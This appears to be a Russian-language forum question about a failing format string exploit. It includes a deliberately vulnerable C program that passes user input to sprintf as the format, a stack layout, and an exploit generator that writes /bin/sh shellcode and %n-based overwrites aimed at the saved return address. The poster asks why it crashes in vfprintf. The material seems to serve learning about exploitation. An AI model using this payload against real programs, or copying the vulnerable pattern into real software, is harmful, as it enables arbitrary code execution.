Я пытаюсь использовать свою ошибку строки формата, которая заключается в этой программе:
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void foo(char* tmp, char* format) {
/* write into tmp a string formated as the format argument specifies */
sprintf(tmp, format);
/* just print the tmp buffer */
printf("%s", tmp);
}
int main(int argc, char** argv) {
char tmp[512];
char format[512];
while(1) {
/* fill memory with constant byte */
memset(format, '\0', 512);
/* read at most 512 bytes into format */
read(0, format, 512);
/* compare two strings */
if (!strncmp(format, "exit", 4))
break;
foo(tmp, format);
}
return 0;
}
Стек выглядит так:
Low Memory Addresses
before printf before sprintf
function function
-----------------------
| 0xbffff258 | -
----------------------- ----------------------- |--- arguments to printf/sprintf
| 0xbffff258 | | 0xbffff058 | -
----------------------- -----------------------
| 0xbffff458 | (saved EBP)
-----------------------
| 0x08048528 | (return address to main - EIP)
-----------------------
| 0xbffff258 | (pointer to tmp)
-----------------------
| 0xbffff058 | (pointer to format)
-----------------------
| 0x00000004 | (constant 4)
-----------------------
| format[0] | (starts at 0xbffff058)
-----------------------
| format[511] |
-----------------------
| tmp[0] | (starts at 0xbffff258)
-----------------------
| tmp[511] |
-----------------------
High Memory Addresses
поэтому основная идея состоит в том, чтобы написать последовательность %x, %n, ... и передать ее программе. Программа, которую я использую для создания входной строки:
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
main()
{
char b0[255];
char b1[255];
char b2[255];
char b3[255];
char b4[1024];
char buffer[512];
memset(b0, 0, 255);
memset(b1, 0, 255);
memset(b2, 0, 255);
memset(b3, 0, 255);
memset(b4, 'A', 1024);
memset(b0, 'A', 0x68 - 0x10 - 0x28); // 0x10 because of the four addresses; 0x28 because of the shellcode
memset(b1, 'A', 0xf0 - 0x68);
memset(b2, 'A', 0xff - 0xf0);
memset(b3, 'A', 0x1bf - 0xff);
printf("\x48\xf0\xff\xbf"
"\x49\xf0\xff\xbf"
"\x4a\xf0\xff\xbf"
"\x4b\xf0\xff\xbf"
"%s"
"%s"
"%%6$n"
"%s"
"%%7$n"
"%s"
"%%8$n"
"%s"
"%%9$n"
,shellcode, b0, b1, b2, b3);
}
мы видим, что я перезаписал адреса: 0xbffff048, 0xbffff049, 0xbffff04a, 0xbffff04b следующими шестнадцатеричными числами: 0x68, 0xf0, 0xff, 0x1bf, что дает нам адрес: 0xbffff068 (это адрес шеллкода в памяти) . Таким образом, идея состоит в том, чтобы перезаписать 0x08048528 (EIP) этим адресом, поэтому, когда функция вернется, она перейдет на этот адрес.
Я сделал все это и проверил с помощью отладчика, что все в порядке. Но я все равно получаю ошибку сегментации в vfprintf() из /lib/libc.so.6.
Кто-нибудь знает, что происходит. Я что-то напутал?
Спасибо